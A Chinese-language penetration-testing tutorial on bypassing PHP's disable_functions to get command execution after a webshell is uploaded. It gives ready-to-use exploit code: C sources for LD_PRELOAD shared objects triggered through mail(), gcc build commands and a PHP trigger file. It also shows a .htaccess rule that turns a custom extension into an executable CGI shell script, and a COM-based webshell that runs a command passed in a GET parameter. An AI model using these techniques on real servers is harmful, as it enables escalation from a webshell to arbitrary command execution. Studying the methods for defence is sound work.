Linux 中 PHP 环境,已知disable_functions=exec、passthru、popen、proc_open、shell_exec、system请写出两种有可能实现任意命令执行的方式
exec <?phpecho exec('whoami');?> — 执行一个外部程序
passthru <?phppassthru("whoami");?> — 执行外部程序并且显示原始输出
popen <?php$file = popen("whoami","r");pclose($file);?> — 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
proc_open <?php$command="whoami"; $descriptorspec = array(1 => array("pipe", "w")); $handle = proc_open($command ,$descriptorspec , $pipes); while(!feof($pipes[1])) { echo fread($pipes[1], 1024); //fgets($pipes[1],1024); }?> proc_open — 执行一个命令,并且打开用来输入/输出的文件指针,类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。
shell_exec <?phpecho shell_exec('whoami');?> — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
system <?phpsystem('whoami');?> — 执行外部程序,并且显示输出
参考Bypass Disable_function (PHP)
参考浅谈几种Bypass disable_functions的方法
Disable_functions绕过整合
disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。例如:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link等
disable_functions是一个黑名单机制,如果在渗透时已经上传了webshell却因为disable_functions导致我们无法进行命令执行,这时候就需要去进行一个绕过。
蚁剑插件市场自带一些绕过插件,建议蚁剑设置代理下载。
右击加载插件
LD_PRELOAD
Fastcgi/PHP_FPM
Apache_mod_cgi
JSON_Serializer_UAF
PHP7_GC_UAF
PHP7_Backtrace_UAF
PHP74_FFI
iconv
PHP7_ReflectionProperty_UAF
PHP7_UserFilter
LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以利用此功能来使用自己的或是其他人提供的函数,另一方面,我们也可以以向别人的程序注入特定库的加载,从而达到特定的目的。
php 启动新进程 xxx,xxx内部调用系统函数 a(),a() 位于系统共享对象 a.so 中,所以系统为该进程加载a.so,如果在 a.so 前优先加载可控的 evil.so,evil.so 内含与 a() 同名的恶意函数,由于 evil.so 优先级较高,所以,xxx 将调用到 evil.so 内的 a() 函数,而非系统的 a.so 内的 a()函数,evil.so 为用户可控,达到执行恶意代码的目的。
如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过 LD_PRELOAD 来设置它优先加载我们自己编写的程序,实现劫持,前提是我得控制 php 启动外部程序(调用execve fock子进程)才行(只要有进程启动行为即可,无所谓是谁,因为新进程启动将重新LD_PRELOAD),常用PHP利用函数有mail()、error_log(),这两个函数为PHP自带,不需要安装其他扩展。
查看执行该php文件时所创建的进程,strace linux 命令 在线中文手册
strace -f php 1.php 2>&1 | grep execve
我们可以看到调用mail()函数时,创建了新进程调用系统函数/usr/sbin/sendmail,除此之外还调用了/bin/sh,所以这里也可以去尝试调用/bin/sh
execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。 exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数 execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。
通过readelf查看/usr/sbin/sendmail可能调用的系统库函数readelf相关命令
readelf -Ws /usr/sbin/sendmail
选择可能会进行调用的函数进行劫持,编写exp.c
#include
#include
#include
void payload() {
system("ls > /tmp/test/success");
}
int getuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
编译成so文件:(GCC 参数详解),这里需要注意的是unsetenv()可能在Centos上无效,因为Centos自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD就又被劫持,导致无限循环
gcc -c -fPIC exp.c -o hack && gcc --share hack -o exp.so
编写test.php:
<?php
putenv("LD_PRELOAD=./exp.so");
mail("","","","","");
?>
执行test.php来触发mail()函数
strace -f php test.php 2>&1 | grep execve
php test.php
这里因为版本问题,disable_functions中也有专门禁止这个函数,大概就是这样,整体思路就是通过putenv()函数将LD_PRELOAD环境变量设置为恶意的exp.so、并且在exp.so中写好想要执行的恶意命令;然后调用mail()函数触发sendmail(),再通过sendmail()触发getuid()从而使恶意的exp.so被加载执行
一样的调用了/bin/sh、/usr/sbin/sendmail,是与mail()类似的,但是我这里execve是启动PHP解释器,并没有加载进程
于此相似的还有
mb_send_mail()需要安装mbstring模块,利用与mail()类似
imap_mail()需要安装imap模块
libvirt_connect()需要libvirt模块
gnupg_init()需要gnupg模块
__attribute__
可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute)它的语法格式为:__attribute__ ((attribute-list))
,若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动执行
类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后自动执行,类似构造与析构函数,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor))
修饰的函数,所以无需考虑劫持某一函数,只要能ld_preload
并执行php调用新进程,就能劫持共享对象从而bypass disable function
#define _GNU_SOURCE
#include
#include
#include
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("whoami > /tmp/leon");
}
为了防止unsetenv()在Centos上无效的进行无限循环(可以使用全局变量 extern char** environ删除,实际上,unsetenv() 就是对 environ 的简单封装实现的环境变量删除功能),这里还用到一个小技巧:
#define _GNU_SOURCE
#include
#include
#include
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
使用for循环修改LD_PRELOAD的首个字符改成\0,\0是C语言字符串结束标记,这样可以让系统原有的LD_PRELOAD环境变量自动失效,最终exp如下:
#define _GNU_SOURCE
#include
#include
#include
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
const char* cmdline = "whoami > /tmp/leon";
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
system(cmdline);
}
对exp进行编译,并执行php文件
gcc -c -fPIC exp.c -o hack && gcc --share hack -o exp.so
strace -f php test.php 2>&1 | grep execve
php test.php
当用户访问Web 应用时会发起一个 HTTP 请求。 Web 服务器接收到这个请求后会创建一个新的 CGI 进程。在这个进程中,将 HTTP 请求数据已一定格式解析出来,并通过标准输入和环境变量传入到 URL 指定的 CGI 程序。CGI调用其他程序处理完成后将返回数据写入到标准输出中,Web 服务器进程则从标准输出流中读取到响应,并采用 HTTP 协议返回给用户响应。
但是CGI协议对于每个请求都需要重新 fork 出一个 CGI 进程,处理完成后关闭,这在高并发时会占用大量服务器资源,所以基于 CGI 协议的基础上做了改进便有了 FastCGI 协议,它是一种常驻型的 CGI 协议。
FastCGI的主要目的就是,将webserver和动态语言的执行分开为两个不同的常驻进程,当webserver接收到动态脚本的请求,就通过fcgi协议将请求通过网络转发给fcgi进程,由fcgi进程进行处理之后,再将结果传送给webserver,然后webserver再输出给浏览器。这种模型由于不用每次请求都重新启动一次cgi,也不用嵌入脚本解析器到webserver中去,因此可伸缩性很强,一旦动态脚本请求量增加,就可以将后端fcgi进程单独设立一个集群提供服务,很大的增加了可维护性,这也是为什么fcgi等类似模式如此流行的原因之一。
Nginx与php-fpm之间使用Fastcgi协议通信,目前越来越多的集群将fcgi直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成webserver,让fcgi执行我们想执行的脚本内容
Fastcgi协议与PHP-FPM 攻击方法
此方式为 mod_php 通过嵌入 PHP 解释器到 Apache 进程中对php文件进行解析
利用条件:
Apache + PHP (apache 使用 apache_mod_php)
Apache 开启了 cgi, rewrite
Web 目录给了 AllowOverride 权限
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。
这里提到了CGI脚本,CGI脚本简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言、linux shell、perl、vb等等都可以进行CGI编程,使用linux shell脚本编写的cgi程序便可以执行系统命令
所以当Apache 开启了 cgi, rewrite时,我们可以利用.htaccess文件,临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置:
Options +ExecCGI
AddHandler cgi-script .aaa
然后准备shell.aaa作为cgi程序执行:
#!/bin/sh
echo;whoami;uname -a
这里还需要为shell.aaa添加可执行权限,chmod 0777 shell.aaa
按照组件化的程序设计的思想,复杂的应用程序被设计成一些小的,功能单一的组件模块(Win 32动态连接库(DLL)或可执行文件(EXE)形式发布的可执行代码),这些组件模块可以运行在同一台机器上,也可以运行在不同的机器上。为了实现这样的应用软件,组建程序和组建程序之间需要一些极为细致的规范,只有组件程序遵守了这些共同的规范,然间系统才能正常运行。而COM(Component Objectmodel)就是Microsoft提出的一种应用于Microsoft Windows操作系统平台上的标准
读懂原理后思路就很简单了,因为内容由我们来随意编写,所以只要能上传com组件模块,那么就能进行任意命令执行,因此绕过disable_functions
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
?a=whoami
FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。
FFI的使用分为声明和调用两个部分,下面看个简单的使用Demo,从共享库中调用printf()函数:
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef("int printf(const char *format, ...);", // this is a regular C declaration
"libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>
从RCTF nextphp看PHP7.4的FFI绕过disable_functions